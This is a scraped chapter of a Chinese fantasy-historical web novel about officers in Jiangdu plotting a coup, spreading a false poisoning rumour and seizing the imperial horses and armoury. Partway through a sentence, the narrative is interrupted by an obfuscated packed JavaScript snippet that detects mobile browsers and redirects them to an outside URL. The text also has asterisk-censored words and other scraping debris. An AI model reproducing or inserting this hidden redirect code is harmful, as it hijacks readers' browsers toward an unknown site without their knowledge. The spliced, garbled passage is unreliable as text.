张虔达如何思量不提,偏殿中一场小小插曲过去,便继续歌舞宴饮起来。而到了日落天黑,歌舞结束,满殿烛光燃起,按照这位圣人在江都的规矩,就该挪动位置顺着烛光大道往西面一排居所处按着顺序去找妃嫔……这一年,尤其是这位圣人又从江东、淮南重新招了许多妃嫔美人后一直都是这么做的……数十位美人,每人一舍,一天一个,挨个拜访,轮到谁,白天负责歌舞节目,晚上负责侍寝。 白天的时候,皇后经常会来,极少概率会有随行的皇子、皇孙跟着一起,晚上的时候,就是皇帝一人去美人舍中。 但这一次,曹彻没有着急起身,反而是呆坐在座中,一时出神。 皇后也没有走,只是在旁边金丝坐榻上等候。 过了好久,曹彻方才出言:“取铜镜来。” 周围宫人原本大气都不敢出,闻言如蒙大赦,赶紧寻得一面铜镜,摆在了曹彻身前案上,又将烛台移近。 曹彻端详了一下镜中自己,扭头朝自己妻子来笑:“我与白横秋年纪仿佛,只小了两三岁,之前在东都看他满头花白,还有些忧虑,觉得自己这般年纪也会如此,如今看来是多虑了。” 皇后轻笑:“圣人天资卓越,远胜于人。” 曹彻点点头,看着镜子内自己的头颅,笑了笑,忽然又言:“大好头颅,谁当斫之?” 一言既出,殿中原本刚刚释然下来的气氛荡然无存,便是连被俘虏时都维持体面的皇后都为之色变:“二郎何出此言?刚刚不还说可以做安乐公吗?” 许是这相隔数十年的称呼,在此旧地被喊出来,曹彻居然心软,缓缓出言安抚:“贵贱苦乐,更迭为之,如三辉轮转,何必忧惧?”…. 皇后立即安静了下来。 皇帝也站起身来,就在殿中换了短衣,戴起幅巾,然后拿来一藤杖,宛若江东八大家的闲居士人一般,顺着烛光出了侧殿,往今夜要宠幸的妃嫔处而去。 皇后没有随从,她停留片刻就回到自己宫中去了。 倒是张虔达,其人耐住性子跟着皇帝去了嫔妃住处,目送对方进去,又在春日暮色中等到了替班的其他直阁,便也匆匆去了,中间路上遇到昔日军中同卫监军牛方盛,只打了个眼色,便心照不宣,一起往司马德克府上而去。 这一次,司马德克家中后院的人又多了一些,以至于几名骨干干脆早早串联了一下,决定人走之后再开小会。 而果然,人一多根本没法说清楚,大家议论纷纷,基本上是各说各话,少有讨论一致的话题则落在了王怀通拜访吐万长论身上……不少人是真的动心了。 毕竟,回东都当然好,东都是家,但这个家也不过是一代人十几年的光景,大家都是当今圣人营造东都后搬到东都的关西人。那么现在北方三大势力,黜龙帮起东境而趋河北;英国公据晋地而入关西;司马正入东都而压淮西……除了黜龙帮明显是敌非友,其余两家哪个不成? 只不过,东都位置摆在那里,想要从江都去关西,要么扔下部队,要么单独领军从襄樊绕路转汉水。 路上可不好走。 议论完毕,大部分人离开,除了司马德克、司马进达、赵行密、张虔达等骨干外,只有元礼正和牛方盛两个新人留下。 他们二人留下当然也是有理由的,因为这二人,都是之前那场仗后从徐州逃回来、换防回来部队的一员,跟这个叛乱集团核心骨干赵行密、张虔达本就属于同一个小集团……更重要的是,元礼正现在是金吾卫做一名中郎将,是这个叛乱集团另一位核心司马德克的直属领兵实权人物,当时做监军的牛方盛现在也是内史舍人,隶属南衙……两人都位置紧要。 故此,这二人虽然不是一开始的鼓动发起者,现在却理所当然的被直接吸纳为了最核心的成员。 “我先说。” 一人走,元礼正就黑着脸开口道。“我来这里是听说伱们几位要做大事,若是要如薛万论那几个人说的那般,三月十五时直接逃散,随吐万长论一起北上,那我现在就走,另寻他人做大事?” 张虔达便要解释。 旁边赵行密嘴快,抢先来问:“他们说的不行吗?” “行个屁!就姓薛的那个修为,还去关西?若是领兵,莫说张行跟司马二郎,上游萧辉他都过不去。”元礼正破口大骂。“而要是孤身走的话,恕我直言,他们可以走,我们不行!没有兵马,没有这支禁军依附,没有司马二郎这样的人占着落脚地,咱们只是孤魂野鬼!”…. 赵行密等**慰,纷纷颔首。 “说得好,就是要做大事。”司马进达更是上来拉手,引得司马德克侧目。 赵行密看到这一幕,立即去问一声不吭的牛方盛:“牛舍人,你也看到了,我们是要做大事的,你可愿意?” 其他人会意,也都来看。 道理其实很简单……若是前几日,吐万长论真要走,他们知道了,觉得有个宗师可以依仗不怕落到之前几个逃人下场,怕是也真要直接领兵跟随了,甚至孤身随从……但现在呢?现在这个叛乱集团已经建立起来了,有了自己的计划,自然要尽量达成某种诉求。 而元礼正就说出了这里几位骨干的基本追求,那就是要自己做主,掌握这支禁军,作为乱世中的本钱,然后再北上。 这个时候,唯一有些尴尬的就是牛方盛了,他之前是参军,现在是内史舍人,都跟军权无关。而他亲爹牛宏,是以多年吏部尚书身份在南衙做相公的,门生故吏满天下……这种情况下,去哪儿没个前途? “诸位,诸位。”牛方盛心知肚明,连连摇头。“我知道你们什么意思,但也不用疑我……其一,我修为虽在,却只算是文修,这等乱世,龙蛇俱起,若没个舟船躲避,随便哪家盗匪军头都能杀我;其二,我从上次徐州回来,一直在御前宫中做事,想要自行脱身,跟你们还不一样,只会更难;其三,圣人这个鬼样子,再不做些事情,咱们都要烂在江都的!” 说到最后,也是愤恨咬牙。 众人见牛方盛表态,这才放下心来。 赵行密更是来劝:“既然大家一致,便不要浪费时间内耗,只说事情……今日虽然嘈杂,但看局势,要害位置都已经入手,群情也已经起来,也该往下走了。” “你们何时开始的?”元礼正打断来问。 “前日。”赵行密只能如此来答。 “是不是太快了?”元礼正一时犹豫。“我看宫中一切如常,而且你们不是也说要十五月圆发动吗,要是十五日发动,却早早准备万全的话,空耗着反而容易出事。” “十五是最后期限。”张虔达解释道。“实际上能早就早,绝不耽误。” “今日是初六……最早到什么时候?”元礼正反而有些紧张。 “就眼下来看,只要把来总管与牛督公调出去就可以发动,不拘具体时日。”赵行密坦诚以对。 “这事怕有点难。”张虔达忽然开口,却是将今日经历的事情说了一遍。“事情就是这般……我怎么觉得咱们这位圣人已经沮丧到什么都不想理会的地步?” “若是这般,反而就麻烦了。”一阵沉闷的粗气之后,司马德克只觉得脑袋有些发懵。“他烂在那里不动,来总管和牛督公也跟着烂在这城里和宫里,我们不也要跟着烂下去?”…. “那只能孤身逃散了?”牛方盛插嘴来问。 赵行密也有些焦急。 “若那样不是不行,但我觉得未必如此。”这时候,司马进达缓缓出言,若有所思。“这厮要是这么颓丧,为什么之前还要派出骑兵追杀逃人?只一个宗师要背离,他又不是没有压制手段……” “七将军的意思是?”赵行密微微皱眉。 “他不是那种人。”司马进达冷冷以对。“他不是那种放任背叛的人,我大兄做了他许多年的侍卫首领,我们几兄弟都知道,他是那种自己负了天下人,却不许天下人丝毫负他的人……今日事,一则是他确实感时伤怀,到了这份上,如何不伤怀?二则也恰恰说明吐万长论背离他去投奔白横秋犯了他最大的忌讳!只是不知道他在意的是吐万长论这个老将、宗师,还是在意白横秋这个昔日在他面前低眉做小的,如今也敢觊觎他的天下!” “那我们……” “明日就公开上告吐万长论**,反正这事又不是没有凭据,看他如何处置!”司马进达直接下了命令。 而说完之后,其人环视左右,复又提醒:“诸位,就看看他对吐万长论是如何态度,到时候便该晓得,咱们若是生怯,是个什么下场!” 众人不由凛然。 事情定下,核心团体也各自散去。 这其中,元礼正回到住处,居然辗转反侧,不能安睡,翌日天亮,也不多待,更是早早披甲扶刀去宫城执勤去了。而其人既至行宫,顺着宫城城墙走了一早,却转向一侧的仓城而去,并在这里的一处暗房中见到了一人,然后恭敬行礼。 “督公,司马德克是虎贲将军,执掌金吾卫,我昨夜不敢再冒险入宫以免他人生疑。”元礼正起身后,朝着身前之人小心来言。 那人穿着官服、戴着小冠,身后都是些板车、麻绳之类的粗物,手上居然正在捻着一束麻在手搓麻绳,闻言抬起头来,露出颌下微微发白的须髯,赫然是大内第一高手、老牌宗师、北衙牛督公。 牛督公点点头,面色不改,继续来搓麻绳:“如此说来,他们果然是要谋反?”“看怎么说。”元礼正叹气道。“目前来说,还是想把人找的多多的,然后一哄而散,逃回东都……但若说这是谋反,也不能说是错。” 牛督公点点头,继续来问:“人多吗?” “无论文武,登堂**的几乎七八成都想走,下面的人更想走,根本没法问。”元礼正继续来言。 “三月十五?” “对。”元礼正稍微打起精神。“我问他们了,有没有虚晃一枪,然后一些人提前走或者做事的打算……他们的意思是,若是要逃散,提前走反而引人注意,落得之前被在淮水边追上处死的下场,就是要一哄而散。”…. “一哄而散。”牛督公重复了一遍,还是在搓麻绳。“还有吗?” “有。”元礼正正色道。“其实这些人都不敢保证事情能成,因为吐万长论的事情大大出乎他们的意料,好多人都想跟着吐万长论走,去投奔白横秋……” “吐万长论。”牛督公喃喃自语,慢慢嘀咕了好几个名字,手上终于停顿了下来。“吐万长论……王怀通……张伯凤……孙思远……白横秋……张行……司马正……雄伯南……李定……曹林……张世昭……王焯……真是物是人非,天翻地覆。” “可不是嘛。”元礼正心中微动,面上却不变,只是当场附和。“这几年高手辈出,太吓人了……不过,督公已经知道这事脉络了吗?吐万将军真会反吗?” “自古难测人心,谁知道呢?”牛督公摇摇头,重新搓起了麻绳。“你去忙吧!我早晚都在这里,想找我随时过来。” 元礼正犹豫了一下,忍不住追问:“现在不做理会吗?放长线钓大鱼?” “做什么理会?”牛督公头也不抬。“把全城七八成的文武官员都抓起来?去吧。” 元礼正点点头,匆匆退了出去。 初七日上午,忽然有禁军军官自历阳而来,声称吐万长**然下令部众收拾行装,准备西进淮南,借道南阳,往归关中,却未见相关公文,故冒死来报。值守将领赵行密不敢怠慢,匆匆入**军总参军司马进达,司马进达复又转呈柱国、睿国公领左翊卫大将军司马化达。 司马化达也不敢怠慢,只能一边司马进达匆匆将事情转到南衙,一边匆匆洗了脸,来见当朝圣人。 折腾了半日,圣人终于传旨,着江都重臣汇集,商议此事。 说实话,这种场合已经大半年没见到了……上一次还是讨论在江宁设行宫的事情,而这个时候,大家才意识到,这个朝廷里似乎还是藏龙卧虎。 司马进达半低着头,立在门内,目光顺势从最远端也就是最内侧挨个扫过: 齐王殿下面色惨白,只立在最上手位置束手低头,若不是见过这位殿下前几年的锋芒,司马进达几乎以为这是个废物……但好像也不耽误这几年成废物了; 齐王之后是两位皇孙……这让司马进达心中一惊,然后敏锐意识到,两位随行的皇孙居然在这几年渐渐长大了,已经不是少年郎了; 皇孙之后就是自己兄长了,自己这位兄长虽然洗了脸,但身上酒气隔着很远都还能闻到,似乎也是个废物……但到底是自己大兄,是司马氏的掌门人,是二郎的亲爹……当然,也是如今禁军序列第一的人,是自己能在禁军中实际掌权的最大靠山; 兄长之后,是另外三位执掌一卫的大将军、将军,其中司马德克看到自己,立即跟自己打了个眼色,另外两人看到自己,也都微微点头,却不知道是在暗示什么,还是在随意打招呼;…. 至于最后一人,身形魁梧,宛若巨人一般一人就占据了小半个队列的,赫然江都总管来战儿,这位江都本地出身的宗师也不与其他人说话,只是低头发呆; 这排人对面,最里面一位赫然是虞常基虞相公……坦诚说,司马进达对上这位在江都独立支撑南衙的相公还是有些心虚,哪怕他前日晚间刚刚见识到对方那过分的贪婪; 虞相公下手乃是国舅萧余,如今也只是面无表情,不知所想,其余委实没几个像样的人物,只是虞相公的几位副手里面稍微需要注意一下,比如两位内史舍人,一个是封常,这是渤海人,虞相公真正的左膀右臂,另一个正是牛方盛; 这些人之外,还有两个群体就在左近,一个是立在皇座之后的几位,其中包括符宝郎许宏;另一个是殿外侍立的两位阁直,其中一人正是张虔达。 不管如何,四面八方都有自己的人,这还是让今日事情的谋划者司马进达更添了几分信心。 正想着呢,圣人一身短衣幅巾,拄杖而入,众人赶紧下拜行礼。 礼毕之后,司马进达抬起头来,看见圣人侧后一人,心下一惊,却也无话可说……因为那正是许久未曾露面的牛督公。 “事情都知道了,你们都什么意思?”皇帝坐姿随意,言辞也随意,根本就没有让司马进达汇报情况。 “回禀陛下,臣以为可以唤吐万老将军过来,以作试探。”一人立即出列,正是国舅萧余。“免得伤及无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167957|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辜,或者误会。” “你倒是心善,也心急。”皇帝嗤笑一声,复又去看他人。“齐王,你怎么看?” “儿臣以为国舅所言未必不可取。”齐王抬起头来,面色有些涨红。 “你也心善,也心急……吐万老将军来了,江东就是你的了,对不对?”皇帝再度冷笑一声。 “儿臣并没有非分之想只是担心局势失控。”齐王低下头,面上的血色也随之消失。 “回禀陛下,臣以为确实可以将吐万老将军请到江都来问清楚……但为防弄巧成拙,要确保他不能抓住时机溜走,就得派一位能看的住他的人。”就在这时,司马进达果断拱手出言。“他若果真要做叛逆,则就势**;若不是叛逆,正好来江都做替换……臣荐来总管领兵前往。” “倒也妥当。”皇帝想了一下,复又去看来战儿。“来卿,你就走一趟吧!” 来战儿犹豫了一下,拱手出列:“臣非是畏战,而是有些忧虑江都局势……” “江都局势?”皇帝紧随出言。“江都什么局势?虞常基?” “回禀陛下。”虞常基即刻出列。“军心有些波动,有流言,说是三月十五,全军北归。” 皇帝愣了一下,复又去看司马化达:“睿国公。” “回圣人,是有这回事。”司马化达脸色发红。“但这种流言隔三差五就有……臣不敢隐瞒,之所以这一次有些严重,正是因为吐万长论那里有些其他流言,凑在一起了,所以显得比之前厉害一些。”…. 皇帝微微皱眉,越过了司马化达,看向了另外一个信任的将军:“司马德克。” “臣在。”司马德克赶紧出列拱手。“陛下,确实如此,流言一直都有,但这次这么厉害,正是前几日太原王怀通去见了吐万老将军引起来的……所以,这两件事其实是一件事。” “朕就知道。”皇帝再度冷笑,复又去看来战儿。“来总管,你听到没有?你不去将吐万长论带来,这儿反而会生乱……吐万长论就是这个口子!” “臣没有推辞,只是忧心陛下安危。”来战儿诚恳来言。“臣不在,江都一旦生乱,陛下有了闪失,臣万死莫辞。” “无妨,牛督公在这里呢。”皇帝以手指向了身后之人。“去吧!” “那陛下要应许臣一件事情。”来战儿抬起下巴,目光越过殿上几乎所有人,直接与皇帝对视。“臣回来之前,天大的乱子,万般的计较,包括臣那里出了什么岔子,都不能让牛督公离开江都城……否则,臣宁可抗旨不遵,也不去历阳!” 殿中所有人,神色不一,齐齐去看如山一般的来战儿,皇帝也是如此。 而过了好一阵子,皇帝方才点头:“那就速去速回!带江都兵去!不要去六合山,从北面绕过去,堵住通路!” “臣先去见吐万老将军,兵马自行北面。”来战儿再度更改了皇帝的计划,然后不等回复,便当场叩首而退。 人一走,皇帝也走,会议散去,众人也各归各处,该喝酒的喝酒,该执勤的执勤……但这其中,参会的几名叛乱集团骨干却都反应一致,那就是如丧考妣,不知所措。 没办法,怕什么来什么,谁也没有想到,来战儿走之前,居然来了这么一出,咬**牛督公留在江都城。 下午时分,来战儿便已经匆匆率部分精锐先行出发,而人一走,彻底按捺不住的几位叛乱集团骨干便已经在光天化日之下**到了司马进达的住处……然而这些人聚在一起也没用,一个下午,他们只确定了一件事情,那就是这个时候再提出让牛督公离开江都,不管是什么理由,都会让皇帝起疑,也都会无效,而牛督公不离开的话,就意味着皇帝有一位老牌的宗师保镖在宫中维护,这让大家生怯。 到了晚间,因为更改了地点,大部分人之前被拉拢的人都还往司马德克府邸去聚拢,甚至估计正因为来战儿的离开而振奋,倒是司马进达这里,只有寥寥几个碰巧的人抵达,算是扩大了争吵与混乱。 不过,混乱中,局势反而渐渐明了,因为道路似乎就那一条。 “一位宗师而已三个成丹看住,不行四个再不行提前调集高手结阵,而且我们是攻其不备,他护不住圣人,圣人一旦除掉,牛督公便不会反抗了。”司马进达最为坚决。“难道这个时候要退却?”…. “我也同意。”赵行密气喘吁吁。“我也同意,不能临阵畏缩……今夜就做,现在就做,联络军中高手,然后发动当日走北面玄武黑门。” 司马德克也随之点头。 这三位点头,自然就是要议定了。 随即,张虔达也咬牙以对:“那就干!” “这个时候确实不能退。”牛方盛居然也没有退缩。 “我是圣人身边的人,你们要发动了,就告诉我,我临时假传圣旨,看看能不能把牛督公诓骗走。”走对地方的符宝郎许宏干脆献策。“万一成了,总是个好事。” “我也有个主意。”太医正张康也在,居然也没有退缩。“我给后宫里的妃嫔看病,知道有几个妃子、宫人深恨圣人把她们掳掠过来……不跟她们提前说,发动前去说,让她们配合着许宏一起去假传圣旨,或许能动摇牛督公。” “可以!”司马进达立即点头。“都行!” 而这个时候,今晚一直比较安静,更像是观察所有人态度的元礼正忽然站起身来:“诸位,我有一问!牛督公果然忠心耿耿吗?” 众人一时诧异。 元礼正干脆摊手:“我们这些人来江都前难道不忠心耿耿?现在如何?来总管忠心,是因为他跟皇帝一样,都是江都长久居住的,没有这个怨气……可牛督公呢?” “牛督公家在东都又如何?他一个公公,而且没听说他学着其他督公在外面纳妾。”牛方盛略显不解。 “但牛督公对下面内侍和宫人一直很好。”元礼正正色解释道。“宫人和内侍也都尊敬他,而宫人和内侍,包括牛督公本人,若非说有个家,那也是西苑和紫微宫……他们也是想回去的。而且莫忘了,大部分内侍和宫人失散在淮西,王督公当了反贼,入了黜龙帮,我不信牛督公没有因为此事怨恨圣人。” “你想拉拢牛督公?”赵行密略显不安。 “不能提前拉拢他,太冒险了。”元礼正平静解释道。“但就像张医正说的那样,可以临发动前找他,以作动摇……我的主意是,到时候咱们兵分多路,我和符宝郎一起去找牛督公假传圣旨,顺便看看能不能劝住他;太医正找那些妃嫔和宫人,让她们假传圣旨把江都这里不多的内侍聚拢起来,到时候扣为人质,内外夹攻,或许可以动摇牛督公……与此同时,还是要联络高手,**起一个可以必要时应对宗师的精锐团体。” “可行。”思索片刻,司马德克抢先给出了回复。 “什么时候发动?”张虔达见状来问。 “越是这个时候越不能急。”赵行密立即给出安排。“仔细联络筛选人,千万不要找那种过于忠心的……就暂时以十一为限,开始散播流言,十二日动手。” “为什么是十二日?”张虔达追问不及。…. “因为来战儿今日走了,要么吐万长论不随他回来,总有七八日时间空闲,十五之前都可以;要么极速回来,则大约是明后日,那我们就等他回来立即推动处死吐万长论,然后再劫狱,请吐万老将军做主,一起掀开这个摊子!”赵行密逻辑清晰严密。 “好。”司马进达也咬牙答应。“从明日起,咱们几人只在我这里说话,拉拢其他人在司马虎贲那里。” 就这样,随着局势变化众人反而坚定。 翌日,也就是初八日,局势平稳,来战儿果然未归,众人只是按照计划在各军中寻找高手,拉拢精英,唯一的波澜是江宁的鱼皆罗发函来问来战儿出兵之事,也无人理会。 到了这日夜间,叛乱集团骨干汇集在司马进达府上汇总,发现寻找高手的事情格外顺利,便要歇息一日,后日开始准备工作。 然而,三更时分,就在一众人准备散去的时候,忽然间,南风大作,呼啸如冬,外面莫说花叶凋零,便是树枝都被吹断,瓦片也被吹落。 更有甚者,几名反叛骨干正愣楞之时,一股强风越过走廊,随着双月之光自窗中卷入司马进达的书房,将案上墙上纸张书画吹乱如雪。 稍倾,外面大风仍在呼啸,堂中稍微平息而已,司马进达却望着被风送入手中一幅残字出了神。 几人回过神来,见状不解,纷纷借着居然还在的烛火围拢来看,却见这残纸上只剩两句话: “可恨狂风空自恶。晓来一阵,晚来一阵,难道都吹落?” 落款居然是虞常基。 看了一阵,有人懂有人不懂,还有人误解自以为懂,但不知为何,几人全都气喘吁吁起来。 “我意已决,天时不可逆。”司马进达忽然冷冷将这半篇残字撕碎。“明日天亮,若此风仍在,便借赤帝娘娘这股天威,白日串联、鼓动,晚间三更就发动!待到十日早间,或生或死,不足道也!何必躞蹀不前,顾虑一宗师?!” 其余人刚要言语,外面狂风再作,各自心神激动,却是纷纷颔首。 待到天明,正是三月初九,披挂整齐的虎贲大将军司马德克推门出来,发现狂风呼啸一夜不停,果然仍在。 (本章完) 39314985. ... 第四章风雨行(4) 晚春大风呼啸,满城狼藉。 司马德克走出房门翻身上马,行到街上没多久便知晓到一件事情……原来昨夜到现在一夜大风,许多城外城内的军营房舍不敢说都被吹坏,但损失却是普遍的,于是禁军各处的中层军官都在往城外南侧的备身府(禁军指挥管理部门)索要物资和抚恤。 知晓消息后,其人毫不犹豫,立即更改了计划,乃是一面去通知司马进达,一面亲自将太医正张康接过来,二人稍作商议,便干脆出城往城南备身府而来。 到了地方,得到消息的司马进达已经抢先一步进入备身府,这位八达中的老七,本就是禁军总参军,正经在这里办公,又是司马氏这一代的最得力者,背后是整个司马氏家族,在整个禁军体系排序极高,是公认的江都牌面人物。 故此,其人来到这里,便立即越权接收了物资与抚恤工作,却不着急解决具体问题,只是将几百中层军官密密麻麻聚拢在备身府内那几乎可以做校场的围栏大院中,而且按照序列排好,自己也坐在那里,顶着大风拿着炭笔做损失记录。 正写着呢,忽然间,司马德克就好像长了**一般,直接引张康穿过偌大的备身府各处,来到此间。 司马德克是正经的虎贲大将军,军中阶级法在这里,几乎所有人都立即起身相迎。 不待行礼,司马德克便几步走到司马进达身侧朝众人摆手:“诸位兄弟,今早我本来去宫中做事,结果迎上了太医正张太医,他天一亮就从宫中逃回来,与我说了一件天大的事……” “什么事不能等等?”下面刚要嘈杂起来,坐在那里的司马进达便冷漠驳斥,好像是对对方越过自己说法不满一样。“司马虎贲,我们这里在说骁士的衣行住食呢!” “还衣行住食。”两位司马之间的摩擦促成了大院内的安静空档,但出乎意料,司马德克几个字后居然卡了下壳……不是他忘了词,而是他晓得,这话从这里开始就没有回头了……不过,他终于还是咬牙说了出来。“按照张太医的说法,东都禁军,怕是连性命都要无了!” 下面彻底喧哗,还是司马进达站起身来,拿着刀鞘拍打柱子,这才止住了喧哗,满院子军官也都重新坐了回去。 “到底怎么回事,不要危言耸听。”司马进达继续呵斥,却转向了张康。“张太医,你来说。” “我也觉得匪夷所思,但……但确实是真的,昨晚上,我去给圣人按摩,他问我有没有什么**能毒死几万人?”张康匆匆来言。 毒死几万人,东都禁军性命,众人如何不惊? 故此,话刚说到一半,便再度引发混乱,逼的司马进达使用上了真气呼喊下令,并引来备身府自家的甲士整顿秩序。 好不容易安静了下来,这一次,不知道是众人都有了猜度还是周围围满了全副武装的甲士,反而持续冷静下来等对方说完。…. “我那时还不懂,只说**自然有的,但哪有**容易?圣人就说,若能**何必**?得不漏风声才可。”张康赶紧努力再言,而这个时候南风呼啸,司马德克也施展出真气,却是替这位太医正隔绝了侧方刮来的乱风。“我这个时候便已经被吓到,赶紧敷衍,说若是这般,须防着**气味泄露,然后最好一起服用……最好是用酒水遮掩。圣人便说……” “便说什么?”司马进达复又来催促。 “便说只要**,失了力气就行,还有江东兵马可用呢,然后又问我,**对修行者可能用?”张康继续来言。“我说一般**对长生真气稍微弱了些,其余都可用,圣人便说可行,然后催促我速速准备,近日就要用,省的日久生乱……我回去后左思右想,实在是觉得不能做这种事情,便一早逃出来,却遇到了虎贲大将军。” 话音刚落,司马德克便扬声来言,做了总结:“诸位兄弟,陛下分明是想去江宁久住,不回东都,又见东都骁锐个个思乡,隔三差五便要出事,这次因为吐万老将军要走,更是难忍,所以干脆一并毒死东都人,好自家往江宁自在!” 这下子,原本被控制住的局面彻底失控。 愤恨者,懊丧者,哭泣者,喝骂者都有。 坦诚说,这个谣言有点低端,但架不住队将这一层的军官本来就文化水平低,甚至可以更低……因为修行本身,尤其是正脉修行的确是个辛苦活,每日打熬身体来冲正脉的就没几个能坚持看书的……故此,一时间许多人居然真的信了,继而群情激奋。 可即便如此,也不可能所有人都信,一定有精细人、有有经验的人对这个下毒的说法感到疑惑,因为从操作性上来说太离谱了。 只不过,如果是精细人的话,又怎么可能看不出来总参军司马进达和虎贲将军司马德克这两位并不同族司马的一唱一和呢?这件事,要么是真的,要么是大人物有决断。 而且更重要的是,圣人想去江宁难道不是真的?不许大家回家不是真的吗? 谁不想回家呢? 所以,群情激奋中,并非无人站起来说这是谣言,但却完全被控诉声淹没。 传完谣言,两位司马对视一眼,司马德克居然直接带着张康走了,而司马进达负着手,看着场内乱成一团,却也在随后放开了维持秩序的甲士,放任这些中层军官在备身府内散开。 混乱中,谣言大面积传播开来,其中,不是没有人带着别样心思回军营,或者干脆想着入城。 然而,回到军营的人很快发现,谣言好像乘风而来,整个军营全都被谣言裹住……基层士卒对这种谣言更加没有辨别能力,而更高级别的军官不是不懂,恰恰相反,这个谣言在高级军官那里根本没有多少可信度,可面对着全军的压力,高级军官们也都感到无力,甚至不敢反驳;至于尝试去江都城内的人,也很快发现一个问题,城门各处说是得到军令,有的说是有人听信谣言,起了逆心,还有的说是有人勾连吐万长论,总之故意趁着大风入城纵火,故此各处城门全都封锁,严禁出入。…. 这使得大部分想表达些什么的军士更加愤怒,少部分想联络询问的人则陷入到惶恐与无奈之中。 没错,叛乱集团的第一步是传播谣言,广泛传播谣言,以酝酿气氛;第二步就是自外向内依次开始封锁城门,隔绝消息、控制交通。 尤其是第二步,正体现出了这个叛乱集团的根本底气……江都城的城防,是睿国公司马化达控制的,自然也是司马进达可以直接下令的;而宫城的城防,正是掌管金吾卫的司马德克控制的。 他们想要封禁城门,根本就是顺理成章。 “大将军,现在要封闭宫门吗?”司马德克进入宫城,目送太医正张康往大内去,刚要自行其是,迎面便有直属金吾卫中郎将元礼正从门楼上下来然后低声询问。“我听他们说,事情顺利的不得了。” “不行,现在封闭宫门会打草惊蛇。”司马德克正色提醒道。“不要管别处,你的任务不变,从现在开始,如果有可疑人物想入宫告发,你就拦下来,等到晚上的时候,确保北面的玄武黑门不落锁……其余暂时不管。” 元礼正立即颔首。 而司马德克便却兀自离去,转向了宫城一侧。 且说,江都城是大魏五都之一,城内有宫城,宫城坐北朝南偏西,两侧偏北又有分城,其中东北是仓城,也就是当年张行等人发现粮食亏空的地方,里面装的是粮食、布匹、财帛、家具、车辆等死物;而西北面则是马厩与武库。 司马德克此行,正是要做第三步,也就是拿走御马和兵甲。 这不光是为了进一步完成自家武备,也是为了解除皇帝最后成建制的反抗能力和大队逃亡能力。 这一步非常敏感,因为皇帝就在宫内,牛督公也在宫内,只不过,司马德克身为执掌金吾卫的虎贲将军,只要不惊动皇帝,理论上也是没有问题的。 唯独事情顺利了一个上午,终于还是发生了意外。 “御马如何能动,这是要转到何处?”马牵到一半,忽然一名装束比较得体的内侍带着几人转到马厩这边,然后匆匆询问。“司马虎贲,你怎么亲自到此?” 军士们有些紧张,这些司马德克的心腹部下当然知道是要**。 倒是司马德克显得从容:“赵副监,这不关你衣帽局的事情,前面不是吐万长论**嘛,朝廷要发禁军支援来总管,我请了旨意,刚刚跟牛督公也打了招呼,要将御马转到备身府去。” 那人登时讶然:“我昨日新任了御马督监,且刚刚从牛督公那里来,未……” 话说到后来,音量已经微弱到消失在风声中了,人也面色煞白。 “杀了他们。”司马德克有些无奈,挥手下令。 甲士们蜂拥而上,只能将几名内侍匆匆斩杀于马厩之下,然后按照军令,将尸首弃于马厩之中,留下一队军士封锁看管,然后依旧将战马兵刃带走。…. 还没到中午,就已经见了血。 平心而论,这让原本显得从容的反叛集团稍微有了一些紧张。 而接下来,是第四步。 御马与军械被带出来以后,司马德克立即转向城南,却并非是直接进入备身府,而是来到备身府更南面一点的真火观,这里已经到大江边上了,彼处司马进达和赵行密也已经带着许多人在观外大江滩上等他……非只如此,南风之中,**而来的军吏还在增加。 没错,第四步就是集合部众,确定最后发动的总军事力量。 然而…… “人来的有点多。”赵行密低声解释的时候不免有些恍惚。“备身府散开后,我等了一个时辰,然后才找人说想做大事的下午都来真火观,结果估计城外的一半军吏都跟我来了。” 旁边司马进达面色也有些潮红。 司马德克转身来看,也一时无语,却还是努力振作点头:“这是好事。” 司马进达与赵行密也只能点头,然后一起努嘴示意。 见此形状,司马德克咬咬牙,便自行往前走去,乃是跳上临时堆砌的木台,拿掉头盔,先放出真气,然后借着江上吹来的南风做出了准备阶段最后的宣告: “诸位!我是虎贲将军司马德克,我问你们,想不想回家?!” 下方没有想象中的一呼百应,而是在风中继续着之前的嘈杂,赵行密此时凑到了下方军官军吏群中,赶紧呼喊回应,周围却还是嘈杂如故。 这个场景不只是让司马德克心中惊慌,司马进达本来没有登台,此时毫不犹豫,也随之跃上,然后也运动真气大声来问:“虎贲将军问你们呢,你们想不想回家?” 这一次,下方安静了下来,但还是没有人回答。 司马德克几乎沮丧,但他如何不晓得,就凭今天已经做过的事情,如果不能鼓动起来这些人,他就只有一条路,那就是马上骑着御马,孤身逃窜。 正恍惚中呢,司马进达在旁,几乎咬牙切齿再度来问:“想不想回家?!” 片刻的恍惚后,忽然间,下方山呼海啸一般,数百名中层军吏大呼回应,声音嘈杂混乱,没有半点齐整,却音形一致,赫然都只是一个字: “想!想!!想!!!” 台上的司马德克和下面的赵行密几乎瘫软,复又醒悟,原来只是人心波动,加上大风呼啸,众人反应慢了半拍而已。 好不容易等人安静下来,司马进达继续在上方言语:“我也想,可是圣人不许我们回去!所以必须要做大事!” 这一次没有山呼海啸,而是气喘吁吁,而且众人的喘息声是如此之重,以至于很难分辨现场的杂音是呼吸还是与呼啸的南风。 而司马德克终于在司马进达的目视下,重新鼓起勇气,说出了最后也是最关键的话:“诸位,我已经跟睿国公商议好了,天黑之后,你们愿意来的,就带兵到城西找我汇合,然后我来指挥,等到今夜三更就发动,到时候再由睿国公去劝谏圣人,最后咱们一起护送陛下回东都,好不好?!”…. 听到这话,下方再也抑制不住,又是杂乱的呼喊声趋向一致,赫然正是一声:“好!好!!好!!!” 白日计划中理论上最难的一步,居然如此顺利,顺利到在场三人几乎难以相信。 不过,错愕之后就是振奋,而振奋之后就是迷茫。 要知道,他们本以为下午会花掉许多时间才把人**起来,然后又要辩论,又要铲除掉动摇分子,才可能彻底组建成这个军事叛乱主体,估计折腾完,也就是傍晚了,大家直接回去带兵汇合,在城西集结起来,必然已经三更。 